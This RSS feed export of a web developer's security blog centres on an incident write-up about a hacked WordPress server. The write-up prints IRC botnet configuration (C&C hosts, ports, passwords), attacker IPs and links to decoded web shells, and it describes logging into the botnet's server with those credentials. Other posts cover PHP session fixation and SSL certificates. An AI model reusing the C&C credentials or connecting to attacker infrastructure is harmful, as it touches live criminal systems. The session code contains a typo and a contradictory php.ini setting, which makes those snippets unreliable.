<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thijs Lensselink&#039;s Blog &#187; Security</title>
	<atom:link href="http://lenss.nl/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://lenss.nl</link>
	<description>Webdevelopment and stuff...</description>
	<lastBuildDate>Thu, 26 Apr 2012 21:48:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>WordPress install compromised</title>
		<link>http://lenss.nl/2012/02/wordpress-install-compromised/</link>
		<comments>http://lenss.nl/2012/02/wordpress-install-compromised/#comments</comments>
		<pubDate>Mon, 06 Feb 2012 20:37:10 +0000</pubDate>
		<dc:creator>Thijs Lensselink</dc:creator>
				<category><![CDATA[/home]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tech]]></category>
		<category><![CDATA[brazil]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[IRC bot]]></category>
		<category><![CDATA[pbot]]></category>
		<category><![CDATA[PHP bot]]></category>

		<guid isPermaLink="false">http://lenss.nl/?p=1408</guid>
		<description><![CDATA[Last week i got an email from the Dutch NCSC (Nationaal Cyber Security Centrum). Apparently one of the nodes i manage for a customer was part of a botnet. There were no further demands. They just informed me about the issue. Damn cool! Being part of a botnet however. Not so cool! With the email [...]]]></description>
			<content:encoded><![CDATA[<p>Last week i got an email from the Dutch <a href="https://www.ncsc.nl/">NCSC</a> (Nationaal Cyber Security Centrum). Apparently one of the nodes i manage for a customer was part of a <a href="http://en.wikipedia.org/wiki/Botnet">botnet</a>. There were no further demands. They just informed me about the issue. Damn cool! Being part of a <a href="http://en.wikipedia.org/wiki/Botnet">botnet</a> however. Not so cool!</p>
<p>With the email came a small excerpt of a IRC channel log. I recognized the node. So SSH&#8217;ed into that specific node. And used <a href="http://linux.die.net/man/8/netstat">netstat</a> to check for any strange connections. A connection on port 20 to the C&#038;C node of the <a href="http://en.wikipedia.org/wiki/Botnet">botnet</a>. Thats not good.</p>
<blockquote><p>
$ netstat -an<br />
Active Internet connections (servers and established)<br />
Proto Recv-Q Send-Q Local Address           Foreign Address         State<br />
tcp        0      0 xxx.xxx.xxx.xx:20       69.162.80.62:20         ESTABLISHED
</p></blockquote>
<p>In the email from NCSC it was mentioned to look for files called <strong>wp-rss3.php</strong>. But a search for this file did not return any hits. Hmmm. And i still  had no idea which site it concerned. Since a couple were running on this particular node. The only thing certain. It&#8217;s <a href="http://wordpress.org">WordPress</a> related. So i started searching for recent <a href="http://wordpress.org">WordPress</a> compromises. And found a lot of hits on Google for the <a href="http://code.google.com/p/timthumb/">timThumb</a> and <a href="http://code.google.com/p/wps3slider/">wps3slider</a> plugins. But checking the log files for these plugins revealed nothing. And for some weird reason i just cleaned up the log partition a couple of days before. So not much luck there.</p>
<p>Some more Googling <a href="http://markmaunder.com/2011/08/01/zero-day-vulnerability-in-many-wordpress-themes/">told</a> me to do a search on the WordPress installs for the PHP function <a href="http://php.net/manual/en/function.base64-decode.php">base64_decode()</a>. O well. Lets give it a try. Some suspicious files did show up instantly.</p>
<blockquote><p>
$ find . -type f -exec grep -l &#8216;base64_decode&#8217; {} \;<br />
./uploads/2010/06/wp-rss4.php (<a href="http://pastebin.com/rWD1Tfxk">source</a>)<br />
./uploads/2011/05/alienee.php (<a href="http://pastebin.com/LwDaSFUK">source</a>)<br />
./plugins/wps3slider/temp/34e3a3a74f6e2d0f236bdd3ba70c0c03.php (<a href="http://pastebin.com/fG6pDWC2">source</a>)<br />
./plugins/wps3slider/temp/cf2cdb3ad3249b9692de07290f16f287.php (<a href="http://pastebin.com/pRSwG7Ud">encoded</a>) (<a href="http://pastebin.com/0qQ3Qeut">decoded</a>)<br />
./plugins/wps3slider/temp/771b821c974131c67e34c83d8d2db725.php (<a href="http://pastebin.com/KUP8xBEQ">encoded</a>) (<a href="http://pastebin.com/Z77iMH1X">decoded</a>)<br />
./plugins/wps3slider/temp/2b3753ea4769084f2e571737b695b03a.php (<a href="http://pastebin.com/RLgsTerk">encoded</a>) (<a href="http://pastebin.com/KwgqCS8R">decoded</a>)<br />
./plugins/wps3slider/temp/7228f168d9692eafeafc54dbc3a1ab49.php (<a href="http://pastebin.com/HeE3PdnJ">encoded</a>) (<a href="http://pastebin.com/FzCqSfg6">decoded</a>)<br />
./plugins/wps3slider/uploads/1.php (<a href="http://pastebin.com/YJ17ygSL">source</a>)<br />
/var/tmp/dc.pl (<a href="http://pastebin.com/YTusrVZk">encoded</a>) (<a href="http://pastebin.com/0WfqZt0R">decoded</a>)
</p></blockquote>
<p>Interesting. A quick look at the files showed that most of them were obfuscated. But not all. Two of the files were IRC bots written in <a href="http://www.php.net/">PHP</a>. At this moment i couldn&#8217;t resist but crack a little smile. But its also a reminder of how fragile the web really is. I quickly moved the files out of the way. And rebooted the machine. When it  came back online i monitored all connections for a while. But the connection to the C&#038;C node was not restored. So i informed NCSC. And went back to bed!</p>
<p>The WordPress admin should have kept the sites up to date. Lesson learned i hope! of course i could not resist to come back to it later. And so i did. I started by searching the Apache log files for <strong>wp-rss4.php</strong>. And found a couple of instances where this file was directly called. From a total of 4 different IP addresses.</p>
<blockquote><p>69.162.80.62</p></blockquote>
<p>This is the IP address of the C&#038;C server.</p>
<blockquote><p>
186.241.16.25<br />
201.8.237.18<br />
201.8.226.109
</p></blockquote>
<p>These IP addresses are all originating from Brasil. No further information is available at this moment. After that i started poking around the trojans / IRC bots found earlier. And as mentioned earlier. There were two bots installed on the server, One was running. The other wasn&#8217;t. This is configuration snippet from both bots.</p>
<p>The first bot. And the one i was informed about.</p>
<pre class="php" name="code">var $config = array("server"=>"antesedepois.servegame.com",^M
                     "port"=>20,^M
                     "pass"=>"depois",^M
                     "prefix"=>"depois",^M
                     "maxrand"=>8,^M
                     "chan"=>"#depoiswp",^M
                     "key"=>"",^M
                     "modes"=>"+iB-x",^M
                     "password"=>"depois",^M
                     "trigger"=>".",^M
                     "hostauth"=>"*" // * for any hostname^M</pre>
<p>And the second one</p>
<pre class="php" name="code">
var $config = array("server"=>"58.225.75.155",
                     "port"=>9999,
                     "pass"=>"",
                     "prefix"=>"animal",
                     "maxrand"=>8,
                     "chan"=>"#animal",
                     "key"=>"",
                     "modes"=>"+iB-x",
                     "password"=>"oishi",
                     "trigger"=>".",
                     "hostauth"=>"*!*@The.Black.Cat" // * for any hostname
                     );
</pre>
<p>Notice the <strong>^M</strong> characters at the end. Seems like somebody is using windows. So now we have login details for two C&#038;C servers. Why not take a look. </p>
<blockquote><p>
$ ircii<br />
/server antesedepois.servegame.com:20
</p></blockquote>
<p>Some standard IRC stuff</p>
<blockquote><p>*** Connecting to port 20 of server antesedepois.servegame.com<br />
*** Welcome to the Internet Relay Chat Network, root (from IRCPRIVATE)<br />
*** /etc/irc/script/local V0.5 for Debian finished. Welcome to ircII.<br />
*** If you have not already done so, please read the new user information with /HELP NEWUSER<br />
*** Your host is IRCPRIVATE, running version 1.2.1546<br />
*** This server was created jan 27 2012 at 06: 29:02 HodB (Serial # 00-00-00)<br />
*** channel modes available abdefghijklmnopqrstuvwxyzACEFIKLMOPT<br />
*** IRCX<br />
*** There are 6 users and 362 invisible on 1 servers<br />
*** 7 channels have been formed<br />
*** This server has 368 clients and 0 servers connected<br />
*** Current local users:  368  Max: 989<br />
*** Current global users:  368  Max: 989<br />
*** MOTD Not Present</p></blockquote>
<p>So let&#8217;s check the channels on this thing</p>
<blockquote><p>/list</p>
<p>*** Channel    Users  Topic<br />
*** #depoiswp  360    Entrou = Ban :)<br />
*** #grmteam   6<br />
*** #depoisSca 4      Entrou = Ban :)<br />
*** #depoisSca 4      Entrou = Ban :)<br />
*** #depoisVul 6      Entrou = Ban :)<br />
*** #rfi       3<br />
*** #sql       1  </p></blockquote>
<p>I entered all of the channels and waited for a while. But no activity took place. The only really interested channel is #depoiswp. This is the channel where all the bots connect. At the time i logged in there were about 360 of them  available. I immediately recognized the log excerpt send to me by the NCSC.</p>
<blockquote><p>*** Topic for #depoiswp: Entrou = Ban :)<br />
*** #depoiswp SYSTEM 1327945185<br />
(#depoiswp/#depoiswp) Entrou = Ban :)<br />
*** [A]depois88802849 (~depois48170648@68.233.238.XX) has joined channel #depoiswp<br />
*** #depoiswp 1327653297<br />
*** [A]depois13436992 (~depois92951214@212.227.114.XX) has joined channel #depoiswp<br />
*** [A]depois18833547 (~depois69088341@184.154.130.XX) has joined channel #depoiswp<br />
*** [A]depois80116634 (~depois13242297@213.251.189.XXX) has joined channel #depoiswp<br />
*** [A]depois31855907 (~depois23946193@82.85.28.XXX) has joined channel #depoiswp<br />
*** [A]depois25458508 (~depois64120008@87.106.214.XX) has joined channel #depoiswp<br />
*** [A]depois17803105 (~depois55004207@74.208.16.XX) has joined channel #depoiswp<br />
*** [A]depois96800217 (~depois89042073@174.121.216.XXX) has joined channel #depoiswp<br />
*** [A]depois17108432 (~depois51961332@209.68.1.XXX) has joined channel #depoiswp<br />
*** [A]depois95432403 (~depois13925479@209.68.1.XXX) has joined channel #depoiswp<br />
*** [A]depois96515275 (~depois10767943@195.74.38.XXX) has joined channel #depoiswp<br />
*** [A]depois73596561 (~depois90562179@69.89.31.XXX) has joined channel #depoiswp<br />
*** [A]depois85357227 (~depois31697723@64.191.115.XX) has joined channel #depoiswp<br />
*** [A]depois07993697 (~depois40240585@79.96.128.XX) has joined channel #depoiswp<br />
*** [A]depois97441253 (~depois19633359@193.189.74.XX) has joined channel #depoiswp<br />
*** [A]depois76843389 (~depois55419325@176.9.34.XXX) has joined channel #depoiswp<br />
*** [I]depois16679788 (~depois28004829@213.171.218.XXX) has joined channel #depoiswp<br />
*** [A]depois88178285 (~depois05296405@74.220.215.XXX) has joined channel #depoiswp</p></blockquote>
<blockquote><p>
<[A]depois16231776> [Attack Finalizado!]: 1749605 MB enviados / Pacotes enviados: 14580 MB/s<br />
<[I]depois60130568> [Attack Finalizado!]: 75 MB enviados / Pacotes enviados: 1 MB/s<br />
<[I]depois48664304> [Attack Finalizado!]: 75 MB enviados / Pacotes enviados: 1 MB/s<br />
<[I]depois65415449> [Attack Finalizado!]: 75 MB enviados / Pacotes enviados: 1 MB/s<br />
<[I]depois11325010> [Attack Finalizado!]: 75 MB enviados / Pacotes enviados: 1 MB/s<br />
*** [A]depois40994506 (~depois72760562@79.98.28.XX) has joined channel #depoiswp<br />
<[A]depois07568398> [Attack Finalizado!]: 2187317 MB enviados / Pacotes enviados: 18228 MB/s<br />
<[A]depois55402758> [Attack Finalizado!]: 11425 MB enviados / Pacotes enviados: 95 MB/s<br />
*** [A]depois03383512 (~depois52457929@74.220.215.XX) has joined channel #depoiswp<br />
<[A]depois37064023> [Attack Finalizado!]: 1264043 MB enviados / Pacotes enviados: 10534 MB/s<br />
<[A]depois69234369> [Attack Finalizado!]: 2205504 MB enviados / Pacotes enviados: 18379 MB/s<br />
*** [A]depois74911768 (~depois04730096@74.220.215.XX) has joined channel #depoiswp<br />
*** Signoff: [A]depois31575043 (Connection reset by peer)<br />
<[I]depois17710498> [Attack Finalizado!]: 81 MB enviados / Pacotes enviados: 1 MB/s<br />
<[I]depois28464134> [Attack Finalizado!]: 81 MB enviados / Pacotes enviados: 1 MB/s</p></blockquote>
<p>Thats fine and all. I disconnected shortly after that. I really have no reason  to be poking around there now do i ;) Besides who want to  interfere with an ongoing investigation. So poking around the files a bit more didnot  reveal  all that information.Except for the fact that besides a IRC bot a backdoor was also installed in the form of a perl script dc.pl installed in /var/tmp. So who knows. The server might be rooted at this point.</p>
<p>I spend some more time on decoding the bot and trojan contents. And posted them on pastebin if you are interested. The server is going to be  decommissioned soon. So i am not going to pay much more attention to it.</p>
<blockquote><p>1.php and b2dabd0e2c42b55fabf741bcac29f857.php</p></blockquote>
<p>Web Shell by boff</p>
<blockquote><p>2b3753ea4769084f2e571737b695b03a.php</p></blockquote>
<p>This file was base64 encoded but once decoded reveled to be a simple script by v0pCr3w and nob0dyCr3w to run system commands on the server. Also included was a simple upload form.</p>
<blockquote><p>34e3a3a74f6e2d0f236bdd3ba70c0c03.php</p></blockquote>
<p> c99 injector v1</p>
<blockquote><p>771b821c974131c67e34c83d8d2db725.php</p></blockquote>
<p>This script was rot13 and base64 encoded and was trying to cleanup after the hacker. And install a second back door.</p>
<blockquote><p>7228f168d9692eafeafc54dbc3a1ab49.php and cce0a37ffc138a8908da05977639bed1.php</p></blockquote>
<p>Again rot13 and base64 encoded.But this script contained something that looks like a control panel. The page title was &#8216;Hacked by Sherif #oishi @ ALLnet&#8217;</p>
<blockquote><p>alienee.php</p></blockquote>
<p>Still working on this one</p>
<blockquote><p>cf2cdb3ad3249b9692de07290f16f287.php and ded3244749701c4eb5a29b959ad56736.php</p></blockquote>
<p>These files contained a second bot that was connecting to a whole different server. Probably exploited by another crew?</p>
<blockquote><p>dc.pl</p></blockquote>
<p>This Perl backdoor was created by one  of the IRC bot scripts. And was hiding in /var/tmp after creation.</p>
<p>And some links i found useful while working on this issue.<br />
<a href=" http://eromang.zataz.com/2012/01/08/gangbang-mytijn-org-malware-spreader-down/"></p>
<p>http://eromang.zataz.com/2012/01/08/gangbang-mytijn-org-malware-spreader-down/</a></p>
<p><a href="http://www.madirish.net/content/hookworm-stealth-php-backdoor">http://www.madirish.net/content/hookworm-stealth-php-backdoor</a><br />
<a href="http://markmaunder.com/2011/08/01/zero-day-vulnerability-in-many-wordpress-themes/">http://markmaunder.com/2011/08/01/zero-day-vulnerability-in-many-wordpress-themes/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://lenss.nl/2012/02/wordpress-install-compromised/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP critical bug CVE-2012-0830</title>
		<link>http://lenss.nl/2012/02/php-critical-bug-cve-2012-0830/</link>
		<comments>http://lenss.nl/2012/02/php-critical-bug-cve-2012-0830/#comments</comments>
		<pubDate>Sun, 05 Feb 2012 11:39:43 +0000</pubDate>
		<dc:creator>Thijs Lensselink</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tech]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[Bug]]></category>
		<category><![CDATA[Crash]]></category>
		<category><![CDATA[CVE-2012-0830]]></category>
		<category><![CDATA[remote]]></category>

		<guid isPermaLink="false">http://lenss.nl/?p=1423</guid>
		<description><![CDATA[Ok it&#8217;s a bit late But i have been laying under a rock for the last week. And i guess it can&#8217;t hurt! Last week a critical bug was discovered in PHP. Which affects versions 5.3.9 and 5.2.17. The bug could be exploited to run arbitrary code on a remote PHP system. So upgrade your [...]]]></description>
			<content:encoded><![CDATA[<p>Ok it&#8217;s a bit late But i have been laying under a rock for the last week. And i guess it can&#8217;t hurt!</p>
<p>Last week a critical bug was discovered in PHP. Which affects versions 5.3.9 and 5.2.17. The bug could be exploited to run arbitrary code on a remote PHP system. So upgrade your systems. And of course Stefan Esser <a href="http://news.php.net/php.internals/57655">popped up</a> with some wise words :)&#8230; O well i still think the guy does great work.</p>
<p>More info about the issue can be found on packetstorm (<a href="http://packetstormsecurity.org/files/cve/CVE-2012-0830">CVE-2012-0830</a>) </p>
]]></content:encoded>
			<wfw:commentRss>http://lenss.nl/2012/02/php-critical-bug-cve-2012-0830/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PHP getting strict sessions</title>
		<link>http://lenss.nl/2011/11/php-getting-strict-sessions/</link>
		<comments>http://lenss.nl/2011/11/php-getting-strict-sessions/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 13:38:28 +0000</pubDate>
		<dc:creator>Thijs Lensselink</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tech]]></category>
		<category><![CDATA[Zend]]></category>
		<category><![CDATA[5.4]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[session fixation]]></category>
		<category><![CDATA[strict_session]]></category>

		<guid isPermaLink="false">http://lenss.nl/?p=1405</guid>
		<description><![CDATA[For years PHP has been vulnerable to session adoption which can enable session fixation. And since sessions are a major part of web applications now a days. A lot of platforms are open and waiting for an attack to happen. session adoption &#038; session fixation The problem exists because the current session module does not [...]]]></description>
			<content:encoded><![CDATA[<p>For years <a href="http://php.net/">PHP</a> has been vulnerable to session adoption which can enable <a href="http://en.wikipedia.org/wiki/Session_fixation">session fixation</a>. And since sessions are a major part of web applications now a days. A lot of platforms are open and waiting for an attack to happen.</p>
<p><strong>session adoption &#038; session fixation</strong></p>
<p>The problem exists because the current session module does not validate the session id that comes in from a cookie. This means uninitialized session id&#8217;s can be passed by the client. This happens due to the fact that browsers overwrite cookie if multiple cookies are send per request.<br />
Some people would say this is solvable by implementing <a href="http://nl3.php.net/manual/en/function.session-regenerate-id.php">session_regenerate_id()</a>. But this is not the case.</p>
<p>Because session fixation can be used to take over control of web applications. Validation is required when multiple cookies are send per request. When multiple cookie are send with a request. Browsers send multiple cookies without domain / path information. This way it&#8217;s impossible to tell which cookie belongs to which domain. </p>
<p><strong>So how do we fix this?</strong></p>
<p>There is some userland code that does offer the ability to validate session data. But this has not been widely adopted by other developers.</p>
<p>Code that adds the session ID as a validation key:</p>
<pre class="php" name="code">
session_destory();
session_regenerate_id();
$_SESSION['valid_id'] = session_id();
</pre>
<p>And the code to check if the session was properly initialized:</p>
<pre class="php" name="code">
if ($_SESSION['valid_id'] !== session_id()) {
  die('Invalid use of session ID');
}
</pre>
<p>Thank god the internal developer know this. And are working to fix this. For the past days there has been an interesting discussion going on on the <a href="http://news.php.net/php.internals">internals</a> list. About applying a patch that will fix this. The patch will add some new php.ini features and a new method validate_id() for the session save handler. Hopefully this will be available in version 5.4.</p>
<p>To not break BC strict_mode will be disabled by default. But can be enabled by setting the following setting in php.ini. When enabled uninitialized session ID will be discarded.</p>
<blockquote><p>session.use_strict_mode=0</p></blockquote>
<p>To prevent a DoS instead of session fixation. An new feature has been added that deletes possible malicious cookies that prevent new session ID.</p>
<blockquote><p>session.safe_session_cookie=1</p></blockquote>
<p>You can read more about session fixation and the upcoming patch on the <a href="https://wiki.php.net/rfc/strict_sessions">PHP-Wiki</a></p>
]]></content:encoded>
			<wfw:commentRss>http://lenss.nl/2011/11/php-getting-strict-sessions/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The current state of SSL And The Future Of Authenticity</title>
		<link>http://lenss.nl/2011/09/the-current-state-of-ssl-and-the-future-of-authenticity/</link>
		<comments>http://lenss.nl/2011/09/the-current-state-of-ssl-and-the-future-of-authenticity/#comments</comments>
		<pubDate>Sun, 11 Sep 2011 23:13:33 +0000</pubDate>
		<dc:creator>Thijs Lensselink</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tech]]></category>
		<category><![CDATA[CA]]></category>
		<category><![CDATA[certificate]]></category>
		<category><![CDATA[Convergence]]></category>
		<category><![CDATA[MITM]]></category>
		<category><![CDATA[notary]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://lenss.nl/?p=1333</guid>
		<description><![CDATA[Last week i had a blast while listening to Moxie Marlinspike&#8217;s Blackhat talk the past and future of SSL. The video is an absolute must see if you have any concern about the current state of SSL or the whole web for that matter. As many know. There has been quite the turmoil in the [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://convergence.io/"><img src="http://lenss.nl/wp-content/uploads/2011/09/convergence.png" alt="" title="convergence" width="291" height="66" class="alignleft size-full wp-image-1338" style="float:left;margin:10px;" /></a> Last week i had a blast while listening to <a href="http://www.thoughtcrime.org/">Moxie Marlinspike&#8217;s</a> Blackhat talk <a href="http://www.youtube.com/watch?v=Z7Wl2FW2TcA">the past and future of SSL</a>. The video is an absolute must see if you have any concern about the current state of SSL or the whole web for that matter.</p>
<p>As many know. There has been quite the turmoil in the SSL world lately with some big CA&#8217;s (<a href="http://www.comodo.com">Comodo</a>, <a href="http://www.startcom.org/">StartCom</a>, <a href="http://www.diginotar.com/">Diginotar</a>, <a href="http://www.globalsign.com/">GlobalSign</a>) getting hacked. And rogue certificates being generated for major domains like microsoft.com, google.com, etc for who knows what type of malicious purpose. The real problem here are the centralized CA&#8217;s. For SSL to work you need to explicitly trust the major CA&#8217;s. And if one gets hacked. Well.. we know the deal by now. And the funny thing is that Moxie mentions in his talk. The whole CA wasn&#8217;t even part of the original SSL protocol. As the creator of SSL said &#8220;It&#8217;s something we through in at the end&#8221;.</p>
<p>But instead of only bashing the CA&#8217;s. Moxie comes with a solution to the problem. In the form of a new protocol <a href="http://convergence.io/">Convergence</a>, Which exists of a client and a server package. The client right now is a simple Firefox extension. And when installed it disables the current CA system in the browser. And will use one or more of the selected notaries instead. It even works with self signed certificates. And the back-end is a modular one. And the standard CA verification can be swapped with for instance <a href="http://www.dnssec.net/">DNSSEC</a> based verification.</p>
<p>There is still a level of trust involved. But you won&#8217;t lay all your trust in one specific CA. Convergence uses notaries. Notaries are anonymous nodes that can be picked at will and can be used to verify the requested certificate. And like i said the notaries are anonymous. No more browser leakage at this point. One of th notaries will act as a bounce node to which a SSL connection is made. All other notaries are contacted through this secure connection.</p>
<p>I am probably not the best person to explain this all. So go ahead and listen/watch <a href="http://www.youtube.com/watch?v=Z7Wl2FW2TcA">Moxie&#8217;s talk</a> and form your own opinion. But i think everybody should install <a href="http://convergence.io/">this</a> Firefox plugin. And forget about the whole CA system. I went ahead and installed a notary node myself. Which can be found <a href="http://lenss.nl/lenssnl.notary">here</a>. More information about setting up a notary node yourself can be found <a href="https://github.com/moxie0/Convergence/wiki/Running-a-Notary">here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://lenss.nl/2011/09/the-current-state-of-ssl-and-the-future-of-authenticity/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apache SSL client side certificate data in PHP</title>
		<link>http://lenss.nl/2011/02/apache-ssl-client-side-certificate-data-in-php/</link>
		<comments>http://lenss.nl/2011/02/apache-ssl-client-side-certificate-data-in-php/#comments</comments>
		<pubDate>Wed, 23 Feb 2011 23:55:03 +0000</pubDate>
		<dc:creator>Thijs Lensselink</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tech]]></category>
		<category><![CDATA[Apache2]]></category>
		<category><![CDATA[CA]]></category>
		<category><![CDATA[CA.sh]]></category>
		<category><![CDATA[client side certificate]]></category>
		<category><![CDATA[SSL]]></category>

		<guid isPermaLink="false">http://lenss.nl/?p=1087</guid>
		<description><![CDATA[What should have been a simple assignment turned out to be a hair pulling endeavour. The ultimate goal was to read the client side certificate data in PHP. I am by no means a system administrator. And the SSL part will probably be done by somebody more experienced. And the certificates will be signed by [...]]]></description>
			<content:encoded><![CDATA[<p>What should have been a simple assignment turned out to be a hair pulling endeavour. The ultimate goal was to read the client side certificate data in PHP. I am by no means a system administrator. And the SSL part will probably be done by somebody more experienced. And the certificates will be signed by real CA&#8217;s. But for developing locally i need something functioning. </p>
<p>So i spend the last hours trying to get client side certificates working. With absolutely no luck. I found a bunch of posts by doing Google searches. But none of them seem to offer the proper information for creating good client side certificates. Creating the CA and the server certificate is no problem at all. But creating a client side certificate seems impossible. Some of the post i tried:</p>
<p><a href="http://www.modssl.org/docs/2.7/ssl_faq.html">http://www.modssl.org/docs/2.7/ssl_faq.html</a><br />
<a href="http://www.vanemery.com/Linux/Apache/apache-SSL.html">http://www.vanemery.com/Linux/Apache/apache-SSL.html</a><br />
<a href="http://www.linuxconfig.org/apache-web-server-ssl-authentication">http://www.linuxconfig.org/apache-web-server-ssl-authentication</a><br />
<a href="https://help.ubuntu.com/community/OpenSSL">https://help.ubuntu.com/community/OpenSSL</a><br />
<a href="https://help.ubuntu.com/8.04/serverguide/C/httpd.html">https://help.ubuntu.com/8.04/serverguide/C/httpd.html</a><br />
<a href="http://it.toolbox.com/blogs/securitymonkey/howto-securing-a-website-with-client-ssl-certificates-11500">http://it.toolbox.com/blogs/securitymonkey/howto-securing-a-website-with-client-ssl-certificates-11500</a></p>
<p>You would have thought that something like this would have been documented pretty well by now. But no luck for me. This only resulted in</p>
<blockquote><p>[debug] ssl_engine_kernel.c(1879): OpenSSL: Read: SSLv3 read client certificate A<br />
[debug] ssl_engine_kernel.c(1898): OpenSSL: Exit: failed in SSLv3 read client certificate A<br />
[info] [client xxx.xxx.xxx.xx] SSL library error 1 in handshake (server lab:443)<br />
[info] SSL Library Error: 336151570 error:14094412:SSL routines:SSL3_READ_BYTES:sslv3 alert bad certificate Subject CN in certificate not server name or identical to CA!?</p></blockquote>
<p>So after almost giving up i found the <em>CA.sh</em> script hidden in <em>/usr/lib/ssl/misc</em> this little sucker seems to do the job pretty well. Creating a CA, server certificate and client side certificate is extremely easy. So i settled for that.</p>
<p><strong>Creating the CA</strong></p>
<blockquote><p>$ cd /usr/lib/ssl/misc<br />
$ /CA.sh -newca<br />
CA certificate filename (or enter to create)</p>
<p>Making CA certificate &#8230;<br />
Generating a 1024 bit RSA private key<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..++++++<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;++++++<br />
writing new private key to &#8216;./demoCA/private/./cakey.pem&#8217;<br />
Enter PEM pass phrase:<br />
Verifying &#8211; Enter PEM pass phrase:</p></blockquote>
<p>And fill out some basic certificate data</p>
<blockquote><p>Country Name (2 letter code) [AU]:NL<br />
State or Province Name (full name) [Some-State]:NH<br />
Locality Name (eg, city) []:Purmerend<br />
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Bluesignal<br />
Organizational Unit Name (eg, section) []:lab<br />
Common Name (eg, YOUR name) []:lab<br />
Email Address []:my@email.tld</p></blockquote>
<p><strong>Creating the server certificates</strong></p>
<blockquote><p>$ ./CA.sh -newreq<br />
Generating a 1024 bit RSA private key<br />
.++++++<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;++++++<br />
writing new private key to &#8216;newkey.pem&#8217;<br />
Enter PEM pass phrase:<br />
Verifying &#8211; Enter PEM pass phrase:</p></blockquote>
<p>Fill out the same basic certificate data</p>
<blockquote><p>Country Name (2 letter code) [AU]:NL<br />
State or Province Name (full name) [Some-State]:NH<br />
Locality Name (eg, city) []:Purmerend<br />
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Bluesignal<br />
Organizational Unit Name (eg, section) []:lab<br />
Common Name (eg, YOUR name) []:lab<br />
Email Address []:my@email.tld</p></blockquote>
<p><strong>Sign the sucker</strong></p>
<blockquote><p>$ ./CA.sh -sign<br />
Using configuration from /etc/ssl/openssl.cnf<br />
Enter pass phrase for ./demoCA/private/cakey.pem:<br />
Check that the request matches the signature<br />
Signature ok</p></blockquote>
<p>The only thing left to do is creating the client side certificate</p>
<blockquote><p>openssl pkcs12 -export -in newcert.pem -inkey newkey.key -out username.p12 -name &#8220;Client Certificate&#8221;</p></blockquote>
<p>Time to configure Apache2. I used the standard default-ssl virtual host and just reconfigured it</p>
<blockquote><p>SSLEngine on<br />
SSLProtocol -all +TLSv1 +SSLv3<br />
SSLCipherSuite HIGH:MEDIUM<br />
SSLProxyEngine off<br />
SSLOptions +StrictRequire +OptRenegotiate +StdEnvVars +ExportCertData</p>
<p>SSLCertificateFile /usr/lib/ssl/misc/newcert.pem<br />
SSLCertificateKeyFile /usr/lib/ssl/misc/newkey.pem<br />
SSLVerifyClient require<br />
SSLVerifyDepth 1</p>
<p>SSLCertificateChainFile /usr/lib/ssl/misc/demoCA/cacert.pem<br />
SSLCACertificatePath /usr/lib/ssl/misc/demoCA/certs<br />
SSLCACertificateFile /usr/lib/ssl/misc/demoCA/cacert.pem</p></blockquote>
<p>reboot Apache2</p>
<blockquote><p>$ /etc/init.d/apache2 restart</p></blockquote>
<p>The server side is ready. But it is still impossible to connect at this moment. We need to install the client certificate inside Firefox</p>
<blockquote><p>Edit > Preferences > Advanced > View Certificates</p></blockquote>
<p>Choose import and browse to the newly created *.p12 certificate file.</p>
<p>Now i can finally connect based on my client side certificate and read the pieces of data i was looking for. Which can easily found by doing</p>
<pre name="code" class="php">
print_r($_SERVER);
</pre>
<p>Some of the stuff i was looking for</p>
<blockquote><p>[SSL_CLIENT_S_DN_C] => NL<br />
[SSL_CLIENT_S_DN_ST] => NH<br />
[SSL_CLIENT_S_DN_L] => Purmerend<br />
[SSL_CLIENT_S_DN_O] => Bluesignal<br />
[SSL_CLIENT_S_DN_OU] => lab<br />
[SSL_CLIENT_S_DN_CN] => lab<br />
[SSL_CLIENT_S_DN_Email] => my@email.tld<br />
[SSL_CLIENT_I_DN_C] => NL<br />
[SSL_CLIENT_I_DN_ST] => NH<br />
[SSL_CLIENT_I_DN_O] => Bluesignal<br />
